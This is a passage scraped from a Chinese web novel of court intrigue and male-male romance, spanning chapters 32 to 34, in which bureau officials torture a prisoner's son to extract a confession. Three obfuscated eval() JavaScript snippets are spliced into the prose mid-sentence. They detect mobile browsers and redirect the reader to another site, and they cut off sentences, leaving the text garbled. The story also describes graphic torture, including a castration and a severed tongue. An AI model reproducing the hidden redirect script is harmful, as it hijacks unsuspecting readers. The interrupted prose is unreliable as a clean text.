燕修延被噎得说不出话,当即瞪着他:“我跟干娘告状,让干娘收拾你!” 虞睿祥一脸无辜,摊了摊手:“不是,你又怎么了?朕说错了吗?” 燕修延抱着胳膊,转过身去,面无表情地盯着窗外,摆明了让虞睿祥自己猜。 放眼整个大虞,敢让皇帝绞尽脑汁猜心思的,怕是也只有燕修延一人了。 谢伟恒将信仔细折好,装进信封,又将信封放入木盒,这才双手捧着,递到太后面前。 “干娘,陛下,你们先回房休息片刻,儿臣有几句话,想单独与修延说。” 虞睿祥丈二和尚摸不着头脑,只能跟着太后,一脸困惑地往偏院走。 一路上,他绞尽脑汁,也想不通燕修延为何突然又生了气。 屋内,燕修延斜睨着谢伟恒,双臂抱胸,一副洗耳恭听的模样,倒要听听这人能说出什么花来。 谢伟恒缓步走到他面前,轻轻执起他的手,掌心的温度透过指尖传来,带着几分暖意。 他嘴角噙着温和的笑意,声音低沉而温柔:“夫君莫要与陛下置气。” 燕修延猛地眨了眨眼睛,怀疑自己是不是吃饱了撑的,听劈叉了。 他怔怔地看着谢伟恒,一时竟忘了反应。 谢伟恒却不以为意,又轻轻唤了一声:“夫君。” 燕修延的眉头皱了又松,松了又皱,心头的震惊、错愕,还有几分难以言喻的悸动,最终化成一句带着无奈的嗔怪: “我不跟干娘告状了,你把那个爱害羞脸红、翻来覆去只会说‘成何体统’的谢侍郎还给我。” 眼前的谢伟恒,实在太难招架了,简直不知道害羞为何物!什么话都能说得出口! 谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646189|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伟恒低笑一声,眼底满是宠溺:“你之前,可是亲口唤我‘未来夫君’的。” 燕修延脸颊一热,急忙辩解:“我那是在逗你!你现在,是在逗我吗?” 说着,他对上谢伟恒满含笑意的眼眸,瞬间感觉自己落了下风。 他顿了顿,下意识地挺直腰杆,下巴微收,故作镇定道:“为夫还是更喜欢夫人不经逗的样子,你满脸通红……” 说到后面,他的声音越来越小,眼神也有些飘忽。 只见谢伟恒半垂着眼皮,长长的睫毛在眼睑下投下一片阴影,原本白皙的脸颊,渐渐爬上一层淡淡的红晕。 他坐在椅子上,缓缓掀起眼皮,眼中似有盈盈水光,如秋水般动人。 他冲着燕修延浅浅一笑,声音带着几分沙哑的温柔:“夫君喜欢我这样?” 燕修延张了张嘴,喉咙像是被什么堵住了一般,好半天才找回自己的声音,只是语气中带着几分磕巴:“喜、喜……” 他懊恼地拍了下自己的嘴,清了清嗓子,努力找回平日里的从容,“媚眼含羞合,丹唇逐笑开,夫人当真绝色。” 他平日里不怎么读书,会的诗句不多,亏得此时还能想起一句能用的。 谢伟恒勾了勾唇角,笑容愈发温柔:“那夫君看在我的面子上,就不要计较陛下了,好么?” 燕修延早已被他一口一个“夫君”叫得晕头转向,哪里还顾得上计较,忙不迭地点头:“行,夫人这般为我们兄弟和睦着想,那就依你。” 待虞睿祥得知燕修延改了口,不再打算告状后,顿时对谢伟恒感激涕零,拉着他的手,激动道:“伟恒,这次多亏了你!算我欠你一个人情,日后必有重谢!” 忽然,虞睿祥一拍大腿,脸上露出恍然大悟的神情:“朕知道了!修延今日为何要告朕的状了!” 燕修延靠在门框上,语气带着几分风凉:“呦,陛下的脑子,终于灵光了一回,真是不容易啊。” 虞睿祥摸了摸头,一脸茫然:“修延,你这话怎么听着阴阳怪气的?” 燕修延挑了挑眉,似笑非笑:“你猜?” 虞睿祥苦着脸,老实道:“我上哪儿猜去?你可别跟沈黎卿学,总爱让人猜来猜去,累得很。” 燕修延一时语塞。 虽然他知道虞睿祥这话没别的意思,但他就是莫名地想跟干娘告状,让干娘拿笤帚丝抽他一顿。 就在这时,院外的墙头突然探出来一个脑袋,温瑞冲着卫霜戈的方向,压低了声音喊: “头儿。” 卫霜戈闻声,缓步走到墙边,挑眉看他:“干什么?” 温瑞挤了挤眼睛,做了个噤声的手势,声音压得更低了:“头儿,你翻墙上来,咱换个地方说,这儿人多眼杂,不方便。 注: “媚眼含羞合,丹唇逐笑开”出自南朝梁·何思澄《南苑逢美人》。 32. 死去的人向你追魂索命! 燕修延扶着腰腹,指尖刚触到冰凉的墙砖,便又收了回来。 他疼得额角沁出细汗,却不肯在人前露半分狼狈,只是侧头冲着谢伟恒的方向,漫不经心地抬了抬下巴。 谢伟恒心领神会,甚至没等燕修延开口,便已迈步走到虞睿祥身侧。 他微微俯身,声音放得极轻,不知对虞睿祥说了句什么,便见虞睿祥点了点头,顺从地被他引着转身。 谢伟恒走得极慢,刻意与虞睿祥保持着半步的距离,既护着人,又留足了分寸,路过燕修延身边时,还不忘用眼角的余光扫过他的腰侧,眼神里带着几分担忧,却终究没敢停下脚步。 温瑞从墙头轻巧跃下,落地时带起一阵尘土,他凑到燕修延原先站着的地方,啧啧称奇:“头儿,厉害啊,谢伟恒这模样,简直是被你训得服服帖帖。” 燕修延云淡风轻地摆摆手,嘴上却颇有高人风范:“小菜一碟。” 那语气里的得意藏都藏不住,尾音都带着点微不可察的上扬。 温瑞收起玩笑的神色,上前一步压低声音:“季风醒了。” 鹤顶红太烈,柳岚拼了半条命才把人从鬼门关拉回来,现在全靠名贵药材吊着一口气,稍微动一下都怕他咽气。 监察司的暗牢里。 空气里弥漫着药材与血腥交织的诡异气味。 柳岚正捻着一根银针,小心翼翼地扎进季风头顶的百会穴,见燕修延进来,立刻皱着眉抱怨:“头儿你赶紧问,那些千年人参、百年雪莲全砸他身上了,我看着心疼。” 燕修延闻言好笑地挑眉:“你的那药钱,不都是从监察司的账上出的?难不成还能让你自掏腰包?” 柳岚理直气壮地把银针捻了捻,疼得季风身子一颤,她才道:“不是钱的问题!你可知那些药材有多难得?那雪莲是去年雪灾时,我亲自去雪山挖的!用在这种烂人身上,药材怕是都要在地里哭晕过去。” “行,一个时辰之内审完,绝不耽误你心疼药材。” 燕修延拉过椅子,大剌剌地坐下,抬抬下巴,目光如刀般落在季风身上,“季大人,如今有什么话要说?” 季风脸色煞白如纸,嘴唇干裂得渗出血丝,全靠柳岚的药吊着一口气,他喘了半天,声音粗粝得像破锣:“我没什么要说的。” 燕修延早猜到他会是这个态度,手指轻轻敲击着桌面,不急不缓地说:“即便晋王派人暗杀你,事后又想杀人灭口,你也没什么好说的?” 季风突然冷笑起来,笑声牵扯着伤口,疼得他龇牙咧嘴,却依旧嘴硬:“我背后没有任何人!是我自己看不惯你!燕修延,你别得意,如果没有陛下的帝心,你什么都不是!” 柳岚在一旁听得不耐烦,捏着一根泛着诡异绿光的银针,狞笑着凑近季风:“头儿,别跟他废话了,让我一针了断了他,省得浪费药材。” 燕修延散漫地抬抬手,指尖还带着点刚揉过腰的倦意:“急什么,一个时辰还没到,总得给季大人留点考虑的时间。” 柳岚心情本就不好,闻言直接换了根没毒的银针,精准地扎在季风的风池穴上。 “啊——!”一声凄厉的惨叫在暗牢里炸开,季风疼得浑身抽搐,冷汗瞬间浸透了囚服。 燕修延故作敷衍地摆摆手,语气里却带着几分戏谑:“抱歉啊季大人,我这个人没什么用,管不住手下的人。我劝你啊,别太忠心,为了晋王那样的人,不值得。” 季风冷汗直流,牙齿咬得咯咯作响,突然像是想起了什么,喘着气开口,专挑燕修延的痛处戳:“你父母忠心耿耿,不还是死在乱刀之下?到头来,什么都没有!” “父母没了又如何?” 燕修延神情不变,甚至连敲击桌面的节奏都没乱,只是语气冷了几分,“从前是你们为刀俎、我为鱼肉,如今季大人是鱼肉,我是刀俎。此一时彼一时,季大人不会不懂吧?” 柳岚冲着他努努嘴,眼神里满是“别磨叽了,赶紧上手段”的催促。 燕修延心领神会,突然一拍巴掌:“带上来!” 两名监察司的侍卫应声而入,押着一个头被黑色布袋蒙住、五花大绑的人。 那人嘴里塞着布团,呜呜咽咽地挣扎着,不等燕修延开口,柳岚已经不耐烦地伸手,一把扯掉了布袋。 “这头猪是谁?” 季风眯着眼睛看了半天,才认出那是自己最疼爱的次子季乐,顿时挣扎起来,喘气得跟漏风的风箱似的,“燕修延!大虞律法不得刑讯逼供!更不得以其亲人为要挟逼供!你罔顾律法、你——” “我没逼供啊。” 燕修延慢悠悠地打开手中的卷轴,声音清晰地在暗牢里回荡,“季乐,季氏嫡次子,年二十。十三岁时,因通房丫鬟撞破他偷玩禁术,将人活活打死;十四岁时,殴打一名小厮致死,对外谎称是意外;十五岁成亲,隔年其妻子白氏不堪虐待,投湖而亡——” 他似笑非笑地看向季风,手指点着卷轴上的字迹:“季大人,如果白大人知道,他的掌上明珠并非失足落水,而是被你的宝贝儿子虐待得走投无路,才投湖自尽,他会如何?” 柳岚听了气得脸色发青,一声不吭地拿起旁边的剪刀,手起刀落,隔着季乐的衣服就剪了下去。 只听“咔嚓”一声,伴随着季乐撕心裂肺的惨叫,一块染血的布料落在地上。 监察司里的其他人不由得夹紧双腿,脸上露出惊惧的神色。 季风被堵着嘴,疼得叫都叫不出来,额头上渗出豆大的汗珠,眼睛里满是血丝,死死地瞪着燕修延。 柳岚擦擦剪刀上的血,把染血的布团直接丢到季风脸上,冷笑道:“这么小,我这剪刀也不大,居然就剪断了。” 燕修延捏捏鼻梁,故作无奈地说:“柳岚啊,你姑娘家家的,做事能不能稳重点?” 柳岚敷衍地点了点头,手上却又拿起一根银针,语气漫不经心:“哦,我做不到。” 季风心疼得如同刀绞,着急又愤怒,好不容易挣脱了嘴里的布团,嘶吼道:“燕修延你怎可如此滥用私刑!” 说完,他剧烈地咳嗽起来,咳得撕心裂肺,仿佛要把五脏六腑都咳出来。 燕修延无辜地摊摊手,语气里满是戏谑:“又不是我干的,季大人凭什么说我滥用私刑?” 柳岚单手叉腰,拿起旁边烧红的烙铁,指着季风的鼻子:“老娘这是替天行道!那些被你儿子害死的人,今日我替他们讨回来!关我家头儿什么事?” 燕修延单手支着下巴,语气散漫却带着刺骨的寒意:“大虞律法,杀人偿命。季乐手上的人命几何,季大人仔细数数?” 他说着,把卷轴丢到季风面前,卷轴散开,上面的字迹清晰可见,每一条都沾满了鲜血。 季风不用看也知道燕修延说的是事实。 若是换了别人,他还能义正词严地说一句“杀人偿命,天经地义”。 可事关他最疼爱的孩子,季风恨不得活剥了燕修延。 即便他内心清楚,这卷轴上书写的都是铁证,他也绝不会认。 “你们监察司最擅长的就是捏造罪名!欲加之罪,何患无辞!” 季风嘶吼着,眼睛里布满了血丝,“你不过是在报复我当朝弹劾你!燕修延,你不得好死!” “哦。” 燕修延缓缓站起来,走到墙边的刑具架旁,在琳琅满目的刑具中,挑选出一柄短刀。 他抬脚踩住季乐的肩膀,脸皮子不受控制地抽了一下,很快又绷住表情。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646190|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心里暗骂一声“谢伟恒,狗畜生。” “季大人,令郎的眼睛倒是生得好,随了尊夫人吧?跟樱桃似的,又大又圆。” 燕修延的声音很轻,却像毒蛇的信子,舔舐着季风的心脏。 季乐惊恐万分,拼命地挣扎着,嘴里发出呜呜的哀鸣。 他这一挣扎,燕修延的腰腹传来一阵更剧烈的疼痛,疼得他倒吸一口凉气。 “你再动一下!” 燕修延黑着脸,脚上猛地用力,把季乐的脑袋踩得紧贴着地面,额头磕在冰冷的石板上,发出沉闷的响声。 他把刀丢开,喘了口气,再次看向季风,语气冷得像冰,“季大人,可有什么想说的?” 季风脸上的肉剧烈地抖动着,牙齿咬得咯咯作响,眼神里满是怨毒:“燕修延,你岂敢……” “啧,我敢不敢,试了不就知道了。” 燕修延弯腰,手起刀落,快得让人看不清动作。 只听“噗”的一声,伴随着季乐凄厉的惨叫,一截血淋淋的舌头落在地上。 季乐疼得浑身抽搐了两下,双眼一翻,昏死过去。 “燕修延!!!” 季风歇斯底里地叫喊着,声音嘶哑得如同破锣,不停地喘着粗气,眼睛开始翻白,显然是急火攻心。 柳岚眼疾手快,接连三针扎在季风的穴位上,硬生生把他从昏死的边缘拉了回来。 她语气讽刺,看着季风的眼神像看一个死人:“你儿子害人性命的时候,应该不会想过有今日吧?” 燕修延似笑非笑地看着季风,语气里满是快意:“当初季二公子心情不好时,别人不过是多嘴说了几句,就被他剜去舌头,扔到乱葬岗。今日他也算是亲身体验一把了,这叫一报还一报。” 季风声嘶力竭地嘶吼着,唾沫星子飞溅:“区区草芥如何能和我的儿子相提并论!燕修延,我要杀了你!我要杀了你!” 燕修延走到铜盆边,慢条斯理地洗着手,温热的水冲掉手上的血迹,他接过旁边侍卫递来的帕子,擦擦手,语气平淡:“季大人似乎还是不准备说。” 他转过身,吩咐下去:“把季二公子的手筋脚筋挑断,从头顶开个洞灌上水银,然后送回季府。” 他顿了顿,冲着季风淡淡一笑,笑容里带着刺骨的寒意,“季大人放心,我不会杀他。这样做,也只是防止他出去乱说。” 季风目眦欲裂,眼睛瞪得如同铜铃,血丝布满了眼白:“燕修延,你如此狠毒,就不怕哪天午夜梦回时,死去的人向你追魂索命!” 燕修延嗤笑一声,语气里满是不屑:“你们老是说这话,我耳朵都听出茧子了。不说也没关系,我们换下一个。” 柳岚玩着手里的长针,闻言抬头问道:“换谁?” 燕修延随意地靠在刑具架上,揉了揉后腰,语气漫不经心:“就换季年吧,季家三公子。季大人孩子众多,一个一个来。 正好让季大人见识下监察司的手段。” 他顿了顿,补充道,“季大人放心,手上没人命的,我不会动。” 温瑞凑到季风面前,语气里满是嘲讽:“你可千万先别急着招啊,让我们见识下季家到底有多少头猪狗不如的畜生。” 燕修延咳了一声,打断了温瑞的话:“别用畜生来形容他们。” 毕竟他昨天还骂谢伟恒是畜生,这些人跟谢伟恒相比,差到十万八千里开外了,简直是侮辱了畜生这两个字。 季风脸上闪过一丝挣扎,眼神里的怨毒渐渐被恐惧取代。 他看着地上昏死过去的季乐,又想起家里的其他孩子,嘴唇颤抖着。 片刻后,他无力地垂下头,声音嘶哑得几乎听不清:“我招……我招……” 33. 你可别当判官! “我全招!” 季风喉咙里挤出破碎的哀求,膝盖在冰冷的青砖上磕得砰砰作响,浑浊的眼泪混着额角的血污往下淌,“能不能让他们停手?别动乐儿!求您了燕大人!” 他死死盯着被两个黑衣卫押着的次子,那孩子被自己惯坏了。 挑断手筋脚筋、头顶开洞灌水银——这些刑罚像淬了毒的针,一下下扎在季风心上。 他太清楚燕修延的手段,就算侥幸留得性命,乐儿这辈子也只能是个瘫在床榻上的废人。 燕修延坐在上首的黑漆木椅上,指尖漫不经心地摩挲着腰间的玉佩,语气淡得像淬了冰:“不可能。” 他抬眼,目光锐利如鹰隼,扫过季风惨白的脸,“如果你再慢一刻,我不能保证你其他的孩子,还能留着完整的身子。” “头儿,” 柳岚的声音忽然插进来,她正把玩着一柄寒光闪闪的短刀,刀刃在指尖转了个漂亮的圈,“你再吓唬他,人就要厥过去了。” 她蹲下身,看着季风抖得像筛糠的腿,眼底没半分怜悯。 燕修延瞥了她一眼,眉峰微挑:“你真有意思。” 他拖长了语调,尾音里带着几分嘲讽,“你哪来的脸说我?” 柳岚闻言抬头,视线轻飘飘地落在天花板的横梁上。 那里挂着个竹编的小笼子,里面养着她的九头虫,圆滚滚的肚子一鼓一鼓,正啃着新鲜的桑叶。 她弯了弯唇角,语气带了点娇憨:“这小东西多可爱啊,哪像你,整天拉着张脸,比阎王殿的判官还吓人。” 燕修延没再理她,抬手做了个手势。 两名黑衣卫立刻拖着季乐往门外走,地上拖出一道刺目的血痕,像一条蜿蜒的红蛇。 季风看着那道血痕,胸口剧烈起伏,喉头一甜,一口鲜血猛地喷了出来,眼前阵阵发黑,差点又晕过去。 “啧,真是不经吓,又浪费我医术。” 柳岚啧了一声,从袖中抽出三根银针,快准狠地扎进季风颈后的三个穴位。 她的动作利落得不带一丝犹豫,语气却有些不耐烦,“再不赶紧说实话,你家老三就该被人带上来了。到时候,头儿可不会让我再保住你的命了。” 银针的刺痛让季风瞬间清醒了几分,他面色灰败如死灰,嘴唇哆嗦着:“燕大人……有什么想知道的,尽管问。” 燕修延终于直起身,缓步走到季风面前,居高临下地看着他,只吐出三个字:“私铸钱。” 季风浑身一震,眼神里满是绝望。 他确实不知道私铸钱是从何处铸造的,只知道每次那些粗糙的铜钱,都会混在府里采买的粮食、布匹中,被藏在木箱的夹层里,或是竹筐的底部,以季府为中转。 他只需要找机会将这些铜钱兑换成银子和银票,就能从中捞到不少油水。 也正是因为这丰厚的利润,当初晋王派人找到他时,他几乎没有半分犹豫就答应了。 “与私铸钱有关的店铺,有哪些?”燕修延的声音再次响起,带着不容置疑的威压。 季风喘着粗气,胸口像被巨石压着,每说一个字都像是要耗尽全身的力气:“林记粮铺……靖水楼……红缨布庄。” 得到想要的答案,燕修延扭头看向门口,语气里带了点催促:“安清雅掉路上了?” “来了来了!” 清脆的女声伴随着脚步声传来,安清雅提着裙摆快步走进来,玉指捂着鼻子,柳眉紧紧拧起,“燕修延,你能不能别每次都让我在这种地方作画?这血腥味都快把我熏晕了!” 她身上穿着一身月白色的襦裙,裙摆上绣着精致的兰草纹,与这血腥的刑房格格不入。 柳岚白了她一眼,收起短刀:“知足吧,你的活是最轻松的。好歹是坐着画画,哪像我,还要在这里闻着血腥味给人扎针。” 安清雅放下手,脸上露出清浅的笑容,语气却带着几分调侃:“你要是会画画,我倒愿意跟你换。就怕你画出来的东西,连鬼都认不出来。” 柳岚“哼”了一声,梗着脖子道:“我要是会画画,狗都能写字!” 燕修延拉开身边的椅子,对安清雅做了个“请”的手势:“有劳。” 他转向季风,语气冷硬,“把你嫡长子季允乐的样貌和特征,详细描述出来。” 季风听到“季允乐”三个字时,瞳孔骤然收缩,脸上最后一丝血色也褪得干干净净。 他瘫坐在地上,浑身的力气仿佛都被抽干了,声音里满是绝望:“燕大人连我嫡长子还活着都知道,为何还要这般对待乐儿,来逼我招供?” 燕修延摊了摊手,语气无辜:“私铸钱的事情,我确实不知道啊。不逼你,我上哪儿知道去?” 他俯身,拍了拍季风的脸颊,“废话少说,认真描述。别逼我再让人把季乐带进来。” 季风彻底放弃了抵抗,哑着嗓子,一点点描述着季允乐的样貌。 安清雅坐在椅子上,手中的狼毫笔在宣纸上飞快地移动,笔尖与宣纸摩擦发出沙沙的声响。 她的动作行云流水,不过半柱香的时间,一幅栩栩如生的画像就出现在眼前。 她拿起画像,对着季风扬了扬:“看看,可有要修改的地方?” 季风抬头,目光落在画像上时,瞬间瞪大了眼睛,脸上满是震惊。 画像上的少年眉目清秀,鼻梁挺直,嘴角带着淡淡的笑意,与他记忆中的季允乐分毫不差,仿佛安清雅亲眼见过一般。 看季风这副表情,安清雅便知道无需修改了。 她将画像递给身边的黑衣卫,又捂上了鼻子,语气带着几分不耐:“没事别再叫我来了。” 说罢,便快步走出了刑房,仿佛多待一刻都难以忍受。 “学学人家。”燕修延对柳岚道。 柳岚不服气地抱起胳膊,下巴抬得老高:“你怎么不让她跟我学医术?” “我是让你学学人家闺秀的样子。”燕修延淡淡道。 柳岚闻言,故意捏着嗓子,模仿着大家闺秀的样子,比了个兰花指:“那我以后掐着兰花指给人扎针包扎?” 燕修延想象了一下那个画面——柳岚穿着大红的襦裙,捏着兰花指,拿着银针往人身上扎,眉头瞬间皱成了川字:“那还是算了。” 他又问了季风几件关于私铸钱流通的细节,包括每次兑换银票的时间、地点,以及对接人的特征。 季风知无不言,言无不尽,所说的一切都与监察司查到的情况基本吻合。 确认没有遗漏的信息,燕修延起身,转身便往门外走。 温瑞立刻跟了上去,脸上满是疑惑:“头儿,私铸钱的油水这么大,晋王干嘛不自己弄?这事要是搁我身上,我肯定闷声发大财,绝不会找别人分一杯羹。” 燕修延没有直接回答,而是反问他:“季风说的那三间铺子,你可知道在谁名下?” 温瑞挠了挠头,老实摇了摇头:“不知道。” “你除了知道吃,还能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646191|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道点啥?” 燕修延抬手,在他后脑勺上拍了一下,力道不大,却带着几分恨铁不成钢,“我让你记的那些京城商号的名录,全拿去点柴火了?” 他顿了顿,声音沉了下来,“那些铺子,全是长公主的。” 温瑞瞬间傻了眼,嘴巴张得能塞下一个鸡蛋。 长公主虞湘晔素来与晋王不和,在朝堂上更是针锋相对,谁能想到,他们居然是一伙的? 燕修延忍不住骂道,“你可别去当判官,不然冤死的人,午夜梦回肯定来找你。” 就凭温瑞这跳跃的思维,指不定能把黑的说成白的。 燕修延懒得揍他,只淡淡瞥了他一眼。温瑞立刻识趣地闭了嘴。 虞睿祥给这位妹妹的产业数不胜数,虞湘晔就算有三头六臂,也不可能亲自打理每一家铺子。 这件事情到底跟她有没有关系,还需要进一步查证。 燕修延更倾向于,虞湘晔是被蒙在鼓里的。 她不过是被晋王拉来做掩饰的棋子。 毕竟晋王自己没有直接参与进来,就算季风指认他,也没有确切的证据。 “头儿!头儿!” 柳岚的声音从身后传来,她颠颠地跑过来,手里拿着两个白瓷小瓶,不由分说地塞进燕修延手里,“你把这个带回去给谢伟恒,他知道这是什么。” 燕修延打开其中一个瓷瓶,一股淡淡的桃花香气扑面而来,萦绕在鼻尖。 他挑了挑眉,看向柳岚:“你什么时候跟谢伟恒这么熟悉了?” 柳岚眼底闪过一丝狡黠,她抬手理了理耳边的碎发,语气带着点小得意:“头儿,我跟谢侍郎可不熟。你把这个给他,我跟他不就熟了?” “想走谢家的商号出货?” 燕修延瞬间明白了她的心思。他看着手中的瓷瓶,以为是女子用的头油,便点了点头,“我可以给他。至于成不成,你自己掂量。” 柳岚立刻点头哈腰,脸上笑开了花:“谢谢头儿!”她目送着燕修延的身影消失在巷口,才收回目光。 “你那个瓶子……” 安清雅的声音从旁边的阴影里传来,她不知何时站在那里,目光落在柳岚的手上,眼底带着几分担忧。 柳岚吓了一跳,拍了拍胸口:“你怎么还没回家?” “我等你一起。” 安清雅走上前,眉头依旧皱着,“但我实在不喜欢这里的味道。” 安府的马车早已等候在巷口,黑色的车帘上绣着精致的安字纹。 柳岚立刻笑逐颜开,屁颠屁颠地跟着安清雅上了马车。 “那瓶子……” 安清雅坐在马车上,看着柳岚,欲言又止,“头儿知道了,肯定会骂你的。你自求多福吧。” 柳岚却满不在乎地摆了摆手,嘴角勾起一抹狡黠的笑容:“我跟他说,那是女子用的头油。难不成,他还能真的去检验不成?” “你啊。” 安清雅伸出手指,轻轻点了点柳岚的额头,眼底带着几分无奈。 马车缓缓驶动,穿过青石板铺就的小巷。 柳岚靠在车窗边,看着外面渐渐模糊的街景,嘴角的笑容慢慢淡了下来。 她和安清雅都看得出来,燕修延不对劲。 他眼底的戾气淡了不少,偶尔独处时,嘴角还会带着若有若无的笑意。 她们也都猜到,这一切的变化,都与谢伟恒有关。看来,在这段关系里,谢伟恒是占了上风的。 34. 燕大人挺会骗人! 燕修延本是揣着一肚子朝堂的盘算,脚都踏进回府的巷口了,指尖攥着的玉佩硌得掌心发疼。 那点想跟虞睿祥复盘局势的心思,竟被一股子从骨头缝里渗出来的酸懒冲得烟消云散。 休沐日本就该松快,他替陛下操碎了心,也不见多添半分俸禄,何苦把自己绷得像张拉满的弓。 转身折去芙蓉池的私汤别院,推门就是暖融融的水汽裹着松木的清冽,温热的泉水漫到肩颈,熨帖了连日奔波的酸痛,连带着紧蹙的眉头都缓缓舒展开来。 池水温热刚好,浸得四肢百骸都软了,他单手撑着微凉的青石池边,骨节分明的指节抵着额角,半阖着眼睫,意识便在这昏沉的暖意里飘悠。 偏生,偏生就想起了那夜新婚。 谢伟恒那个畜生。 燕修延的牙根都磨得发紧,心底翻涌着滔天的烦躁与荒唐。 谢伟恒就是个断袖。 就离谱。 这断袖的心思,还偏偏缠在了自己身上。 他到现在都想不通,谢伟恒究竟给陛下递了什么话,送了什么好处,能让九五之尊都跟着一起糊弄他,一纸赐婚,把他轻飘飘嫁进了谢家。 文质彬彬,温润如玉,那都是谢伟恒装出来的假象。 燕修延的喉结滚了滚,脑海里不受控地闪过那人的模样——宽肩窄腰,脊背绷直时,那片背肌紧实得像淬了铁,发力时线条流畅又极具力量,腰肢更是柔韧得像匹烈性的骏马,进退间都带着不容挣脱的掌控。 “草。” 低骂一声,燕修延抬手狠狠拍了拍自己的脑门,指尖都带着薄红,像是被自己龌龊的念头烫到。 他捞过池边托盘上的果酒,白瓷壶身微凉,抿一口,清甜的果香裹着淡淡的酒意滑进喉咙,压下那点不该有的燥热。 思绪又扯回朝堂。 谢允烽的态度,谦卑里藏着笃定,明眼人都看得出来,谢家这棵根深叶茂的大树,早已悄无声息地站到了陛下身后。 只是没把这层关系摆到明面上来。 燕修延的指尖在池壁上轻轻敲着,心里跟明镜似的透亮: ……合着这场婚事,最大的赢家从来都是陛下。 嫁出去一个他,换回来一个谢家的全力支持,而他这个嫁出去的臣子,依旧攥在陛下的掌心里,半点都逃不开。 一股被蒙在鼓里的憋屈堵在胸口,闷得慌。 可转念一想,几百万两白银,还有那座临湖的精致宅院,实打实落进了他的口袋,倒也不算太亏。 可这念头刚冒出来,就被另一股火气狠狠压了下去。 他被谢伟恒压了。 那夜的失控,那身无处遁形的燥热,那点被人拿捏住软肋的狼狈,像根刺,扎在心头,稍一动弹就疼得慌。 燕修延咬着牙,心里的小人开始自相辩驳——那人花了几百万两,权当是嫖资,他不亏。 可随即又反驳,那混账是用松针酒算计他。 一来二去,唇枪舌剑,脑子里吵得沸沸扬扬,手里的果酒竟不知不觉见了底。 这果酒果香浓醇,度数极浅,本是醉不了人的,可泡着汤泉,暖意从外浸到里,酒意从里飘到外,浑身都暖融融的,连眼皮都沉得抬不起来。 燕修延索性放松了身子,后背贴着微凉的池壁,脑袋歪在一边,呼吸渐渐平稳,竟就这么半睡半醒地打起盹来。 意识昏沉间,有脚步声由远及近。 不是别院的小厮,那脚步沉稳,不急不缓,带着一种熟悉的、让他心头一紧的韵律。 没有刻意隐匿,坦荡得很,像是笃定了他醒着,又像是根本不在意他是否察觉。 燕修延的睫毛颤了颤,缓缓掀开眼。 “燕大人倒是挺会享受,竟一个人躲在这里泡温泉。” 谢伟恒的声音就在身后,温润的声线裹着水汽,听着平和,却让燕修延浑身的汗毛都瞬间竖了起来。 燕修延猛地转过身,池水漾开一圈圈涟漪,肩头的水珠顺着流畅的肩线滚落,沉声道:“谢大人,我泡的是私汤,芙蓉池别院多的是空位,你要想泡,自去隔壁。” 话音落,便觉一道视线落在身上,灼热得像是带着温度,从他的眉眼开始,缓缓滑过挺直的鼻梁,落在他微抿的唇瓣上,再往下,掠过修长的脖颈,那片凸起的喉结,清晰的锁骨,最后停在水面下若隐若现的肌肤上。 那视线太直白,太肆无忌惮,像是要把他扒光了看个透彻。 燕修延的脸颊瞬间浮起一层薄红,不是羞的,是气的。 他猛地往下缩了缩身子,温热的泉水漫到下颌,只留一个脑袋露在外面,眼神凌厉地瞪着人:“我说谢大人,你好歹在外头装得是个谦谦君子,这般眼睛乱瞟,成何体统?” 谢伟恒走到池边,青石的凉意透过衣料渗进来,他半蹲下身,视线与燕修延平齐,眉眼温和,语气却带着不容置喙的笃定:“我看的是我自己的夫君,天经地义,有何看不得的?” “有毛病。” 燕修延咬牙吐出三个字,又往下沉了沉,水都快淹到鼻子,只留一双眼睛露在外面,警惕地盯着眼前的人。 太不一样了。 谢伟恒成婚前和成婚后,简直判若两人。 婚前的谢大人,温润儒雅,待人谦和,连说话都带着三分客气,眉眼间永远挂着恰到好处的笑意,疏离又得体。 可婚后的这个人,眼底的温和里藏着化不开的偏执,语气里的笃定带着掌控,一言一行,都透着一股缠人的、甩不掉的黏腻。 燕修延的心里突然冒出来一个荒唐的念头,脱口而出:“谢伟恒,你莫不是有孪生兄弟?” 眼前的这个,怕不是什么谢伟杰、谢伟玉,或是谢伟轩之流,顶替了真正的谢伟恒? 这话刚落,谢伟恒便缓缓站起了身。 指尖落在衣襟的盘扣上,慢条斯理地解开,玄色的外袍滑落肩头,露出里面月白的中衣,再解,中衣也褪下,露出光洁的肩头和脊背。 燕修延的心跳骤然漏了一拍,警惕瞬间拉满,声音都拔高了几分:“你脱衣服干什么?!谢伟恒,你强抢民男?我即刻便去御史台告你骚扰!” 谢伟恒脱得只剩一条贴身的裘裤,赤裸着上身站在池边。 